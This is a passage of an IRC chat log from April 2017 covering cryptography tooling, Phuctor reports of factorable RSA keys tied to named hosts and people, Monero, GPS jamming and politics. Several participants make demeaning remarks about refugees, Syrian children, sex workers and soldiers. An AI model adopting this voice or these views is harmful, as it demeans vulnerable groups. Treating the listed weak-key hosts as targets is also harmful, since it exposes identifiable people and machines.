1647384;1492868796;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1344E7C727F5952650B021FC146CC7EF579058AC0960D6F17AB3489730870564 << Recent Phuctorings. - Phuctored: 1489...0139 divides RSA Moduli belonging to '183.89.95.42 (ssh-rsa key from 183.89.95.42 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (mx-ll-183.89.95-42.dynamic.3bb.co.th. TH) 1647385;1492869662;Framedragger;re the tarpit, ooh a blog written in CL with sane commenting system (yet to be seen, of course) sounds interesting enough 1647386;1492869673;Framedragger;re. http://thetarpit.org/posts/y03/05f-two-plus-two.html, heh tbh i expected him to delve into some biazarro scheme which would have a weird additive property (not just an if-then rule), disappoint 1647387;1492870017;shinohai;^ now that is nice and clean looking. 1647388;1492870036;asciilifeform;i gotta wonder why the d00d ain't here. 1647389;1492870259;Framedragger;maybe he has an allergy, who knows these things 1647390;1492870681;mircea_popescu;http://btcbase.org/log/2017-04-22#1647364 << hirsute. wtf is hirstute, like a hir-stitute 1647391;1492870681;a111;Logged on 2017-04-22 05:13 ben_vulpes: may your hirstute frame hold the horde at bay 1647392;1492870729;mircea_popescu;http://btcbase.org/log/2017-04-22#1647378 << pretty sure i was reading that five years ago or somesuch. 1647393;1492870729;a111;Logged on 2017-04-22 12:21 asciilifeform: in other noose, l. mogosanu ( http://btcbase.org/log/2017-03-28#1633021 ) has new bl0g -- http://thetarpit.org 1647394;1492870799;mircea_popescu;http://btcbase.org/log/2017-04-22#1647389 << best i can tell, he suffers from the "maybe i won't have to do any laundry after all" geek disease. 1647395;1492870799;a111;Logged on 2017-04-22 14:10 Framedragger: maybe he has an allergy, who knows these things 1647396;1492870867;mircea_popescu;if you wait in a closet long enough, a) all problems resolve themselves eventually and b) your real life will start by itself also. because this is something people can do, decide what problems to apply themselves to and when to condescend to call their daily activity by that lofty name of "my life". 1647397;1492870931;Framedragger;yeah... in fairness, he seems to be operating in his own meatwot, not in total isolation. 1647398;1492870957;Framedragger;(but then, maybe that's only the presented impression. there is that closet smell, yeah.) 1647399;1492871422;mircea_popescu;of course he is. everyone ever is. 1647400;1492871502;mircea_popescu;the argument of irrelevancy is not as to isolation. it is as to irrelevancy. if the modernist delusion of "hi i can of myself and by myself choose what problems to apply myself to" rots one's brain, the result isn't necessarily a loner ; but what difference does that make ? 1647401;1492871525;mircea_popescu;you're still applying yourself to the wrong problems. 1647402;1492872548;BingoBoingo;ty shinohai 1647403;1492872584;deedbot;http://qntra.net/2017/04/plastc-crowdfunded-credit-card-of-the-futures-goes-sfyl/ << Qntra - Plastc – Crowdfunded "Credit Card Of The Futures" Goes SFYL 1647404;1492873656;Framedragger;mircea_popescu: yeah, ic. 1647405;1492875571;deedbot;http://qntra.net/2017/04/terror-in-their-hearts-syrian-refugees-settled-in-north-saint-louis-seek-new-refugee-status-due-to-neighbourhood-violence/ << Qntra - "Terror In Their Hearts" Syrian Refugees Settled In North Saint Louis Seek New Refugee Status Due To Neighbourhood Violence 1647406;1492875700;BingoBoingo;^ Unlike sweden where refugees terrorize locals, in Saint Louis local terrorize 1647407;1492876116;asciilifeform;qntra down ?? 1647408;1492876152;BingoBoingo;slow still 1647409;1492876207;BingoBoingo;much less slow momentarily 1647410;1492876741;asciilifeform;BingoBoingo: http://www.loper-os.org/pub/rodentrights1.jpg http://www.loper-os.org/pub/rodentrights2.jpg 1647411;1492876793;BingoBoingo;Nice, did that trap in rights one fire? it's a it blurry 1647412;1492877229;shinohai;/http://archive.is/JBLBv "Microsoft wants to bring data and machine intelligence closer together" 1647413;1492877236;shinohai;Good luck with that ya'll 1647414;1492877241;asciilifeform;BingoBoingo: not yet 1647415;1492878409;BingoBoingo;asciilifeform: Have you also considered setting up a shallow bowl full of "mole & gopher peanuts" 1647416;1492878424;asciilifeform;wassat 1647417;1492878611;asciilifeform;ah, rat poison. nope, and it is specifically not what i need here, i have 0 use for dead rodents in walls, between ceilings, had this at old flat and f--- would not do again. they gotta pay for their crimes on designated scaffolds, on designated chopping blocks. 1647418;1492878904;BingoBoingo;ah 1647419;1492878987;shinohai;asciilifeform strikes me as the type that will leave vermin carcass on a pike as a warning to the others .... 1647420;1492879004;asciilifeform;if only this worked. 1647421;1492879088;asciilifeform;( the airgun film from youtube linked earlier was interesting imho, in re how rodents will happily climb on top of a pile of corpses of their fellows and sit there, chewing whatever snack... ) 1647422;1492879427;deedbot;http://phuctor.nosuchlabs.com/gpgkey/627AE84B7DF714E0354FE6D5A5DA9B89131AA38BD9D180D47E1A7BB872F121C9 << Recent Phuctorings. - Phuctored: 1355...2917 divides RSA Moduli belonging to '87.254.229.143 (ssh-rsa key from 87.254.229.143 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (143.229.254.87.static.monaco.mc. MC) 1647423;1492879427;deedbot;http://phuctor.nosuchlabs.com/gpgkey/627AE84B7DF714E0354FE6D5A5DA9B89131AA38BD9D180D47E1A7BB872F121C9 << Recent Phuctorings. - Phuctored: 1471...8473 divides RSA Moduli belonging to '87.254.229.143 (ssh-rsa key from 87.254.229.143 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (143.229.254.87.static.monaco.mc. MC) 1647424;1492880516;BingoBoingo; ( the airgun film from youtube linked earlier was interesting imho, in re how rodents will happily climb on top of a pile of corpses of their fellows and sit there, chewing whatever snack... ) << Pretty sure this is part of the criteria for being rodent 1647425;1492882616;mircea_popescu;alf takes terrible pictures. 1647426;1492882856;shinohai;Nah, they are artistic photos, meant to capture the melancholy and precarious situation the rodents find themselves in, teetering on the brink of life and death in a cold, unforgiving attic. 1647427;1492882872;mircea_popescu;ah 1647428;1492882971;ben_vulpes;a hir-stitute! 1647429;1492882981;mircea_popescu;lel 1647430;1492882988;*;shinohai wonders if alf's attic would make a better BDSM hangout than that place mircea_popescu mentioned in Disk Less Terminal 1647431;1492883000;mircea_popescu;most attics make fine dungeons. 1647432;1492883117;ben_vulpes;mats: for my education, over how large of an area can a carrier group jam gps? 1647433;1492883220;mircea_popescu;ben_vulpes its amusing to me to see all the usgistani youtube rarararing (a fine example : https://www.youtube.com/watch?v=vej_aLJpFYo ) deeply rely on satellites. fact : large scale involvement with either russia or china will contain the end of satellites as the very first step. 1647434;1492883225;mircea_popescu;there ISN'T GOING TO BE a gps. 1647435;1492883255;ben_vulpes;that'll be the end of orbital access as well. 1647436;1492883258;mircea_popescu;the russian thing may survive slightly longer because it is a later, better design with some concern shown to this problem ; and because the americans are inept and ineffectual. but it's iffy. 1647437;1492883292;ben_vulpes;once satwar begins, debris is going to knock out *all* birds and make orbit useless until someone decides to burn epic piles of btc cleaning it up. 1647438;1492883306;mircea_popescu;anyway, that's why things like the guided missile yest use direct sighting etc. 1647439;1492883331;mircea_popescu;and that's also why all the expenditure on maps and so on. 1647440;1492883354;mircea_popescu;by and large, if there's a gps there's not a war and vice-versa. they're entirely and without remainder mutually exclusive. 1647441;1492883393;mircea_popescu;but yes, you're right, it also means no more iss etc. though it's unclear what that will do -- currently outer orbit is not exactly friendly anyway. 1647442;1492883395;ben_vulpes;dead reckoning works reasonably well, in that it has an error distribution and one can handle that with volume. 1647443;1492883431;ben_vulpes;open sea not friendly either. 1647444;1492883530;asciilifeform;http://btcbase.org/log/2017-04-22#1647425 << they're from a chinese turret cam 1647445;1492883530;a111;Logged on 2017-04-22 17:36 mircea_popescu: alf takes terrible pictures. 1647446;1492883535;asciilifeform;320x200 1647447;1492883631;asciilifeform;http://btcbase.org/log/2017-04-22#1647432 << see l0gz re correct method of jamming gps (hint : from the air, usg spent $maxint on directional noise-subtractor ; and OMFG not from point source ) 1647448;1492883631;a111;Logged on 2017-04-22 17:45 ben_vulpes: mats: for my education, over how large of an area can a carrier group jam gps? 1647449;1492883684;asciilifeform;http://btcbase.org/log/2017-04-22#1647437 << see uncle al's orbital scrubber ( 1000kg ea. of ball bearings and tnt ) 1647450;1492883684;a111;Logged on 2017-04-22 17:48 ben_vulpes: once satwar begins, debris is going to knock out *all* birds and make orbit useless until someone decides to burn epic piles of btc cleaning it up. 1647451;1492883723;mircea_popescu;the correct method of jamming gps is the space age equivalent of the 45 magnum round. http://btcbase.org/log/2016-10-17#1556262 1647452;1492883723;a111;Logged on 2016-10-17 05:41 mircea_popescu: so yes, there is ONE possibly useful application of a military railgun : making the deep space interdictor. but this is slight. 1647453;1492883728;mircea_popescu;asciilifeform aha. 1647454;1492883729;asciilifeform;http://btcbase.org/log/2017-04-22#1647439 << modern rocket (incl. winged rocket, e.g. the very same 'tomahawk' ) track terrain. 1647455;1492883729;a111;Logged on 2017-04-22 17:48 mircea_popescu: and that's also why all the expenditure on maps and so on. 1647456;1492883776;asciilifeform;( that and whatever rf the enemy is dumb enough to helpfully emit from point source ) 1647457;1492883831;asciilifeform;http://btcbase.org/log/2017-04-22#1647441 << the iss imploding would be quite equivalent to 10,001 'head start' kindergartens burning to the ground, with inmates & crew inside 1647458;1492883831;a111;Logged on 2017-04-22 17:49 mircea_popescu: but yes, you're right, it also means no more iss etc. though it's unclear what that will do -- currently outer orbit is not exactly friendly anyway. 1647459;1492883842;mircea_popescu;soooo ? 1647460;1492883843;asciilifeform;i.e. a massive win for 'maga' 1647461;1492883857;asciilifeform;it's a money furnace with 0 ev. 1647462;1492883864;mircea_popescu;but alf! the humanity! and its "our goals" of cooperation ands etc! 1647463;1492883864;asciilifeform;(rather, -$maxint ev ) 1647464;1492883869;asciilifeform;aaaha. rodentrights. 1647465;1492883892;mircea_popescu;anyway, ima be off to talk to hookers. laters. 1647466;1492884079;asciilifeform;( btw iss doesn't even live in outer orbit. closer to... outer atmosphere. ) 1647467;1492885300;Framedragger;relevant article: http://www.idlewords.com/2005/08/a_rocket_to_nowhere.htm 1647468;1492885320;Framedragger;(worth a read. can argue later. but recommend. but probably known to alf et al.) 1647469;1492886126;Framedragger;(shitty tl;dr: iss is a toy which is nasa's bureaucratic instrument to get constant, predictable budget assignations (consider that iss always has to be crewed). now-defunct space shittle + iss was a perfect self-sustaining devil's pair.) 1647470;1492887165;shinohai;http://archive.is/U4lDq <<; Lucian Solaris ; 7C492C5B491362F1 <491362F1@hackinfotech.org>; ' 1647585;1492922519;deedbot;http://phuctor.nosuchlabs.com/gpgkey/F3817ECE468E6E058880707B5DDD183A50F1EAA28D87417D43D13E75F4DEF256 << Recent Phuctorings. - Phuctored: 3 divides RSA Moduli belonging to 'John Napp ; John Christopher Napp ; ' 1647586;1492922520;deedbot;http://phuctor.nosuchlabs.com/gpgkey/BC4ABEF11E1CDD5388467ED4AA132904D2FBFB0D28D820941A1A83B81BBD2E1D << Recent Phuctorings. - Phuctored: 3 divides RSA Moduli belonging to 'Paul Karrer ; ' 1647587;1492922870;shinohai;3 hue 1647588;1492922915;asciilifeform;snoar, flipolade 1647589;1492923029;asciilifeform;( btw, exercise for reader: how is it that a smallint like 3 can turn up in a modulus known since day1 -- only nao. ) 1647590;1492923056;asciilifeform;( asciilifeform knows answer. but does the reader? puzzle ! ) 1647591;1492926227;BingoBoingo;asciilifeform: Not brave enought to risk fingers adjusting trigger tension on conibears? 1647592;1492927242;BingoBoingo;^ File above to bad idea department 1647593;1492928034;BingoBoingo;http://www.jameslafond.com/article.php?id=7467&pr=1 1647594;1492929207;mats;https://www.ctc.usma.edu/posts/defeat-by-annihilation-mobility-and-attrition-in-the-islamic-states-defense-of-mosul 1647595;1492936182;mircea_popescu;"With at least one quarter of Mosul still under Islamic State control, it is too soon to uncover the full story of the liberation of western Mosul." orly ? i guess what he means is "with the isis army being outnumbered 10:1 and it still managing to inflict blistering, humiliating if regular tactical defeats on the ill prepared, bumbling invading force, it becomes clear that the only victors in the engagement were the so calle 1647596;1492936183;mircea_popescu;d terrorists". 1647597;1492936211;mircea_popescu;dudes cost the usg more than any engagement since vietnam cost it. this puts them above the chechens, as far as successful unalligned powers go. 1647598;1492955464;mircea_popescu;BingoBoingo who the fuck wants syrian children anyways. 1647599;1492955945;shinohai;http://archive.is/ICKui <<< hey BingoBoingo I didn't know SL had culture like this. 1647600;1492956003;*;shinohai went to "Mozart Festival" in Atlanta couple years back, was a horrid affair with a highschool band masquerading as "Chamber Orchestra" 1647601;1492956430;mircea_popescu;teenaged whores should be felt and not heard. 1647602;1492957805;deedbot;http://phuctor.nosuchlabs.com/gpgkey/23B2173C2FF1A9C43007D526720EA2B9EC1CB4AC21503429ACFBA1DA022517B3 << Recent Phuctorings. - Phuctored: 3 divides RSA Moduli belonging to 'James Bottomley ; James Bottomley ; James Bottomley ; James Bottomley ; ' 1647603;1492960307;deedbot;http://trilema.com/2017/yitzhaks-trilemma/ << Trilema - Yitzhak's Trilemma. 1647604;1492962615;mats;https://nytimes.com/2017/04/22/world/asia/taliban-afghanistan-military-base-soldiers-killed.html at least 140 ANA troops killed by Taliban 1647605;1492962643;mats;what a massacre... ten dudes 1647606;1492963248;mircea_popescu;well, ten men at any rate. 1647607;1492963276;mircea_popescu;the notion that usg-alike drones are "soldiers" is just as laughable today as it always was. chickens, not men, to be slaughtered as such. 1647608;1492963333;mircea_popescu;and, to reiterate, http://btcbase.org/log/2017-04-23#1647595 1647609;1492963333;a111;Logged on 2017-04-23 08:29 mircea_popescu: "With at least one quarter of Mosul still under Islamic State control, it is too soon to uncover the full story of the liberation of western Mosul." orly ? i guess what he means is "with the isis army being outnumbered 10:1 and it still managing to inflict blistering, humiliating if regular tactical defeats on the ill prepared, bumbling invading force, it becomes clear that the only victors in the engagement were the so calle 1647610;1492963358;asciilifeform;mircea_popescu: they had these in vietnam also. and korea, prior. 1647611;1492963371;mats;reminds me of the story of the bank robber 1647612;1492963721;mircea_popescu;which one ? 1647613;1492963777;mircea_popescu;asciilifeform it's practically like knocking retarded kid upside the head by now. oh, his mommy told him he can do anything he wants!111 1647614;1492964583;asciilifeform;the old saying was, iirc, 'usa will fight the sov army, to the last drop of blood of the last swede' 1647615;1492964643;BingoBoingo; BingoBoingo who the fuck wants syrian children anyways. << Tyrone wants what he wants 1647616;1492964951;mats;mircea_popescu: the trilema one re: the penultimate antisocial man 1647617;1492965632;mircea_popescu;oh right 1647618;1492965667;mircea_popescu;asciilifeform the process would benefit teh extant swedes immensely. clearly they've no business around anyway. 1647619;1492965705;asciilifeform;the proverb is from back when there were swedes. 1647620;1492966730;mircea_popescu;myea 1647621;1492968996;BingoBoingo;In other news, Carfentanil seems to be the culprit in substance not named opiate cases per Qntra's "Sophostic Trendalitics"(TM)(R) 1647622;1492969245;BingoBoingo;http://oglaf.com/falsecompare/ 1647623;1492984691;mircea_popescu;meanwhile in remarkable ducts an' seals, http://68.media.tumblr.com/tumblr_me9uc6DPw01rzaj8jo1_1280.jpg 1647624;1492988105;shinohai;Or, how radiator hoses are produced 1647625;1492989364;mod6;Ok update here... 2nd FG first entropy tests are in; collected ~1.2Gb. http://www.mod6.net/fg/fg-test/fg2.ent_run1.txt http://www.mod6.net/fg/fg-test/fg2.dieharder_run1.txt 1647626;1492989382;mod6;Running another test against the same phyiscal fg right now (figure I'll do three per unit). 1647627;1492989395;mod6;ANd at the end of the whole thing, will update that blog page with all of the data. 1647628;1492989434;mod6;also, eatblock test is no around 411K bocks and into blk0034... so should be done in a day or two. 1647629;1493001745;mircea_popescu;and in other alternatives, http://68.media.tumblr.com/57de99cc50612b337a98f70b95ed1d38/tumblr_ool91z0fO61tdngbdo1_1280.jpg 1647630;1493004655;BingoBoingo;!~ticker --market all 1647631;1493004661;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 1235.34, vol: 2708.82622282 | BTC-E BTCUSD last: 1239.468, vol: 4673.47419 | Bitfinex BTCUSD last: 1350.3, vol: 8045.59996975 | BTCChina BTCUSD last: 1040.066148, vol: 9022.46520000 | Kraken BTCUSD last: 1243.999, vol: 1307.17377624 | Volume-weighted last average: 1204.035828 1647632;1493014321;pete_dushenski;"WARNING: asciilifeform_blackhole_reads.vpatch.asciilifeform.sig is an INVALID seal for asciilifeform_blackhole_reads.vpatch!" << anyone else seen this error ? my vtron is barfing this up even though my gpgtron says it's a good sig. 1647633;1493016516;BingoBoingo;pete_dushenski: Have you tried to refer to them with different pronouns in an effort to appease them? Maybe instead of "tron" they prefer "tractor" or "dragonbane" 1647634;1493016532;BingoBoingo;brb, sleep 1647635;1493016629;mod6;which version of V are you using? 1647636;1493017018;mod6;!!key asciilifeform 1647637;1493017020;deedbot;http://wot.deedbot.org/17215D118B7239507FAFED98B98228A001ABFFC7.asc 1647638;1493017998;mod6;anyway, if you have alf's most updated key, the vpatch verfifies the seal for me. 1647639;1493018031;mod6;If you're using V (99994) the reason that you won't see it in the flow is because it needs to be reground: http://p.bvulpes.com/pastes/Hu0ab/?raw=true 1647640;1493018061;mod6;In the new version, if a vpatch doesn't have *ALL* antecedents present in the flow, it is dropped on the floor. 1647641;1493018106;mod6;now why you saw the INVALID seal message im not too sure. could be you have a stale key of his, or perhaps the seal wasn't quite named correctly. 1647642;1493018119;mod6;need more information to go on. 1647643;1493018181;mod6;will follow up again tomorrow. 1647644;1493021055;danielpbarron;!!deed http://danielpbarron.com/NVIDIA-Linux-x86_64.asc 1647645;1493026461;deedbot;http://phuctor.nosuchlabs.com/gpgkey/62716703258F0344011B0EFF9E9FA81ECF673AF9D47208601BC72B454CC3DD77 << Recent Phuctorings. - Phuctored: 1165...6197 divides RSA Moduli belonging to '77.37.12.59 (ssh-rsa key from 77.37.12.59 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (harklink.de. DE HE) 1647646;1493026461;deedbot;http://phuctor.nosuchlabs.com/gpgkey/62716703258F0344011B0EFF9E9FA81ECF673AF9D47208601BC72B454CC3DD77 << Recent Phuctorings. - Phuctored: 1332...6409 divides RSA Moduli belonging to '77.37.12.59 (ssh-rsa key from 77.37.12.59 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (harklink.de. DE HE) 1647647;1493029200;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CA8D1813137B5AC2A09FF97A116C045441C4502EC10A037B96DF2FC5E735100F << Recent Phuctorings. - Phuctored: 1490...4753 divides RSA Moduli belonging to '82.210.9.42 (ssh-rsa key from 82.210.9.42 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (82.210.9.42.rev.worldbone.de. DE) 1647648;1493029200;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CA8D1813137B5AC2A09FF97A116C045441C4502EC10A037B96DF2FC5E735100F << Recent Phuctorings. - Phuctored: 1552...1063 divides RSA Moduli belonging to '82.210.9.42 (ssh-rsa key from 82.210.9.42 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (82.210.9.42.rev.worldbone.de. DE) 1647649;1493031934;deedbot;deeds online 1647650;1493049147;asciilifeform;http://btcbase.org/log/2017-04-24#1647632 << << lemme guess, you use keychains, dontcha , pete_dushenski . 1647651;1493049147;a111;Logged on 2017-04-24 06:12 pete_dushenski: "WARNING: asciilifeform_blackhole_reads.vpatch.asciilifeform.sig is an INVALID seal for asciilifeform_blackhole_reads.vpatch!" << anyone else seen this error ? my vtron is barfing this up even though my gpgtron says it's a good sig. 1647652;1493049169;asciilifeform;Just Say No to keychain. 1647653;1493049257;asciilifeform;('even though my gpgtron says it's a good sig' means that you have up-to-date key ( asciilifeform removed the expir date of his mod this year ) but not an updated v-wot. ) 1647654;1493050310;mircea_popescu;http://btcbase.org/log/2017-04-24#1647632 << you probably have the old (ie, expired) version of the key. 1647655;1493050310;a111;Logged on 2017-04-24 06:12 pete_dushenski: "WARNING: asciilifeform_blackhole_reads.vpatch.asciilifeform.sig is an INVALID seal for asciilifeform_blackhole_reads.vpatch!" << anyone else seen this error ? my vtron is barfing this up even though my gpgtron says it's a good sig. 1647656;1493050692;pete_dushenski;just updated asciilifeform key with http://btcbase.org/log/2017-04-24#1647637 and got same error message :( 1647657;1493050692;a111;Logged on 2017-04-24 06:57 deedbot: http://wot.deedbot.org/17215D118B7239507FAFED98B98228A001ABFFC7.asc 1647658;1493050738;asciilifeform;pete_dushenski: upload the key, the seal, and the patch ?? 1647659;1493050752;asciilifeform;pete_dushenski: and which vtron were you using ? 1647660;1493050801;pete_dushenski;the vtron version question is a good one. how do i check again ? 1647661;1493050814;pete_dushenski;might just be using an old one eh 1647662;1493050849;pete_dushenski;"Please Update Software Terrorist" (tm) 1647663;1493050852;asciilifeform;pete_dushenski: is it mod6's ? 1647664;1493050873;pete_dushenski;most definitely one of mod6 's 1647665;1493050949;shinohai;pete_dushenski: running V with no arguments gives the version number 1647666;1493050986;pete_dushenski;"Doc Version: 99995 K" 1647667;1493050996;pete_dushenski;^from user manual 1647668;1493050999;shinohai;Now I remember u can `perl v.pl v` 1647669;1493051002;shinohai;for it too 1647670;1493051020;pete_dushenski;it's the first line in the manual too 1647671;1493051485;shinohai;In this week's shit Roger Ver's handler told him to say: https://twitter.com/rogerkver/status/853250894162350080 1647672;1493052360;pete_dushenski;related, https://lh6.googleusercontent.com/A36M6zgw5P7l2tgtTumLppUA4cgMV0dU0x1LtmUnuS-5_oVAXdAsJ17MBtaXUHnIsQW2ZXitX0kaYcJrMBoZGM_dGejG--aVoOCmMM0c1a2-6Ivnhkm_AkgwSIrV7ymaktIdS7QG 1647673;1493053227;shinohai;Run moar thinblocks 1647674;1493053352;pete_dushenski;also run moar #artdao http://archive.is/Sq9db << basically a way for js engineers to put even more starving artists out of work. man, it's stiff competition at the bottom 1647675;1493054086;*;pete_dushenski to run errands 1647676;1493059079;Framedragger;re. http://btcbase.org/log/2017-04-15#1644022 -- i don't really see where the plagiarism is. honest. the title ("collider")? the content (research had been done by monero project itself some time ago; *plenty* of discussion of RingCT outside #t (unless you define "discussion outside #t is not discussion", in which case you are right..tautologically))? 1647677;1493059079;a111;Logged on 2017-04-15 14:09 mircea_popescu: incidentally Framedragger , do you have a working theory as why he didn't say "decentralized systems lab plagiarized #trilema" ? 1647678;1493059111;Framedragger;content's unoriginal and uninteresting, as far as i can see. why plagiarism of #t in particular? 1647679;1493059176;mircea_popescu;why, there's other venues discussing the problems with monero ? 1647680;1493059197;Framedragger;(it's possibly they did not acknowledge prior research on monero, done by monero itself. that's true. also, ipfs project plagiarised the above just ~now. that's also true.) 1647681;1493059238;Framedragger;you will laugh but there is e.g. /r/Monero , and it discussed unoriginality of above e.g. here https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical_analysis_of_linkability_in_the/ (while giving references/links to outside stuff) 1647682;1493059277;mircea_popescu;now i gotta click reddit to see date 1647683;1493059286;Framedragger;i don't know, are you saying that ideas from #t in regards to what, ringCT vulnerabilities? - have been taken? 1647684;1493059293;mircea_popescu;man. 10 days ago ? 1647685;1493059306;Framedragger;that particular link is new. because it discusses this very monerolink webshit. 1647686;1493059387;Framedragger;i'm not the best devil's advocate (nor do i want to be). maybe i can find something better and more concrete, true. it's just.. attribution of this much political clout to #t.. that'd sure be *grand*, and (hopefully) the case in the future. but i just dunno, man. 1647687;1493059430;mircea_popescu;what's political to do with anything ? first guy to describe calculus is first guy to describe calculus. 1647688;1493059529;Framedragger;so to construct a counterargument, i'd have to dig into what particular 'novel' stuff monerolink is claiming, and what particular vulns were discussed by monero project prior to this stuff. i can't be bothered, though - just don't care about monero that much - does that mean that i now have to default to "all shit is stolen from #t!" 1647689;1493059557;Framedragger;i *guess* it's a sane default? hm. 1647690;1493059566;asciilifeform;http://btcbase.org/log/2016-08-30#1532069 << 1647691;1493059566;a111;Logged on 2016-08-30 17:29 asciilifeform: davout: 'ring signatures' are not the promised 'invisibility cloak', but more of a smoke grenade. 1647692;1493059584;mircea_popescu;the original question was, that since you seemed to either imply or embrace the thesis that ~he~ so defaults, you are then at liberty to explain the observed datapoint where he does not. 1647693;1493059594;asciilifeform;we discusses the ~fundamental~ problem with monero's signature scheme. 1647694;1493059607;asciilifeform;that remains, quite irrespective of which particular sig algo were to be used. 1647695;1493059611;mircea_popescu;this you opted to discuss in "objective" terms, which whatever, you then later decided you don't want to discuss. fine. but the question was why doesn't ~he~ so claim. 1647696;1493059613;Framedragger;asciilifeform: thanks, i recall, and will try to reread later to see how particular that one was. 1647697;1493059733;Framedragger;mircea_popescu: yeah, i suppose i follow. hrr, ok i'll need to see what in particular was revealed/claimed in #t. besides "it's snake oil!"; i do hope that if/when aes is broken, #t doesn't go out saying "#t said all symmetric crypto is snakeoil! plagiarism!!" 1647698;1493059776;mircea_popescu;lol. hey, mebbe it will, mebbe it won't. 1647699;1493059877;Framedragger;(i'll go right ahead and reserve mine: (1) "euclid was snakeoil!"; and (2) "euler was snakeoil!" << there, now when totient function is broken or rsa is broken or any public key crypto scheme is broken, i'll have free pitchfork credit.) (i joke, i joke) 1647700;1493059915;asciilifeform;Framedragger: deliberately playing idiot ? or is the difference between a proof (e.g. euclid's) and a conjecture (rsa) not apparent to Framedragger ? 1647701;1493059937;Framedragger;asciilifeform: i am deliberately being snarky. please don't spend cpu cycles decoding this remark 1647702;1493059966;Framedragger;(but yeah i see what you mean, of course there's a massive difference) 1647703;1493060087;Framedragger;re. http://btcbase.org/log/2016-08-30#1532069 there was nothing beyond ~= "is snakeoil" but i do recall more particular points being addressed some time before or after, so will dig up 1647704;1493060087;a111;Logged on 2016-08-30 17:29 asciilifeform: davout: 'ring signatures' are not the promised 'invisibility cloak', but more of a smoke grenade. 1647705;1493060116;mircea_popescu;asciilifeform i think he's trying to save on reading. 1647706;1493060143;asciilifeform;Framedragger: http://btcbase.org/log/2016-03-05#1422836 << orig. thread with asciilifeform vs author of subj 1647707;1493060143;a111;Logged on 2016-03-05 19:28 fluffypony: stealth addresses provide unlinkability, ring signatures provide untraceability 1647708;1493060156;Framedragger;ah, ty! 1647709;1493060163;*;Framedragger will read before barfing more 1647710;1493062400;mircea_popescu;http://btcbase.org/log/2017-04-24#1647706 << since we're on it, re the dating, i'll attest that while this may have been first publication, it was certainly discussed privately for 6-12 months prior. 1647711;1493062400;a111;Logged on 2017-04-24 18:55 asciilifeform: Framedragger: http://btcbase.org/log/2016-03-05#1422836 << orig. thread with asciilifeform vs author of subj 1647712;1493062479;Framedragger;mircea_popescu: fair enough, but how are 'private discussions' in this context (plagiarism allegation) any different from http://btcbase.org/log/2017-04-05#1637638 1647713;1493062479;a111;Logged on 2017-04-05 13:53 mircea_popescu: this was discussed in developer meetings cca michelangelo. what of it ? 1647714;1493062488;mircea_popescu;specifically http://btcbase.org/log/2014-09-09#823434 came after intel completed internal review of the thing. 1647715;1493062488;a111;Logged on 2014-09-09 14:10 mircea_popescu: hey fluffypony do you plan to eventually sell the monero idea here once it reaches some sort of maturity or do you just plan to wait indefinitely for b-a to figure it out ? 1647716;1493062511;mircea_popescu;Framedragger i'm not proposing it does anything. but jus' saying for it being said. 1647717;1493062520;Framedragger;yeah, good to note, k. 1647718;1493062605;mircea_popescu;anyway. the thing here is that the concept, if not the particular implementation, is actually very interesting. 1647719;1493062626;mircea_popescu;though as alf well points out last we had this, it may well be actually self-contradictory, this concept. 1647720;1493063531;asciilifeform;i don't have a rigorous proof. ( though -- would much like to. ) 1647721;1493063552;asciilifeform;however i'm just about as certain that it is self-contradictory, as that, e.g., p!=np. 1647722;1493066967;mircea_popescu;btw, did we do thailand ? 1647723;1493067037;mircea_popescu;usg tried agent orange, thing went poorly, reached some heights of lulz ("the government is completely functional except it is meeting in a secret location" while usg.protestors were overrunning abandoned airport terminals etc cca 2012) and then military org took over in 2014 and that's that for nato-istan in thailand. 1647724;1493067055;mircea_popescu;somehow very gingerly unmentioned in the list of rice-clinton successes. 1647725;1493067131;mircea_popescu;(they are passive-agressively yakking of "Corruption", of course, which is a major heading in the wikitardia entry on thailand but not, say, the us, or uk, or any other actually corrupt shitholes.) 1647726;1493071760;deedbot;http://qntra.net/2017/04/echos-of-the-great-again-france-pits-moderate-populist-against-hard-left-socialist-in-general-election/ << Qntra - Echos Of The Great Again: France Pits Moderate Populist Against Hard Left Socialist In General Election 1647727;1493074752;Framedragger;BingoBoingo: s/to due/due to/ 1647728;1493074759;Framedragger;very nice article btw hehe 1647729;1493074920;Framedragger;i will also use this occasion to comment on the fact that i managed to almost spill tea when opening trilema.com and seeing the intense gaze of mp in photo breaking 4th wall 1647730;1493075678;mircea_popescu;lol! 1647731;1493075728;mircea_popescu;portrait of the artist as a young trotsky 1647732;1493075748;BingoBoingo;ty fxd 1647733;1493076596;mod6;<+shinohai> Now I remember u can `perl v.pl v` << yeah `./v.pl v` 1647734;1493077032;mod6;!~later tell pete_dushenski Hey, let's take a look at that when you have a minute tonight. Salud! 1647735;1493077032;jhvh1;mod6: The operation succeeded. 1647736;1493077195;mod6;In other news, my eatblock re-test is at 433K+ & into blk0042; not much more to go there... 1647737;1493077218;mod6;Still doing more fg tests. 1647738;1493077246;shinohai;Oh cool mod6 ... hmu when it fully syncs please. 1647739;1493077306;phf;new talk from idlewords, this one's a miss. if you start reading it, and wonder if it gets better: it gets worse. http://idlewords.com/talks/build_a_better_monster.htm 1647740;1493077809;mod6;shinohai: sure will do. it's just the eatblock test. once it's complete, i'll re-run all of the charts & metrics 1647741;1493077833;mod6;(now that this run will also show db read wait as well) 1647742;1493078006;deedbot;http://trilema.com/2017/a-man-and-a-woman/ << Trilema - A man and a woman... 1647743;1493078642;Framedragger;phf: will read later but i'm getting lots of "regulate, regulate, regulate!" vibe. also possibly too much mindrot from his recent escapades to save tech world from trump ('tech solidarity') 1647744;1493078714;Framedragger;wonder if 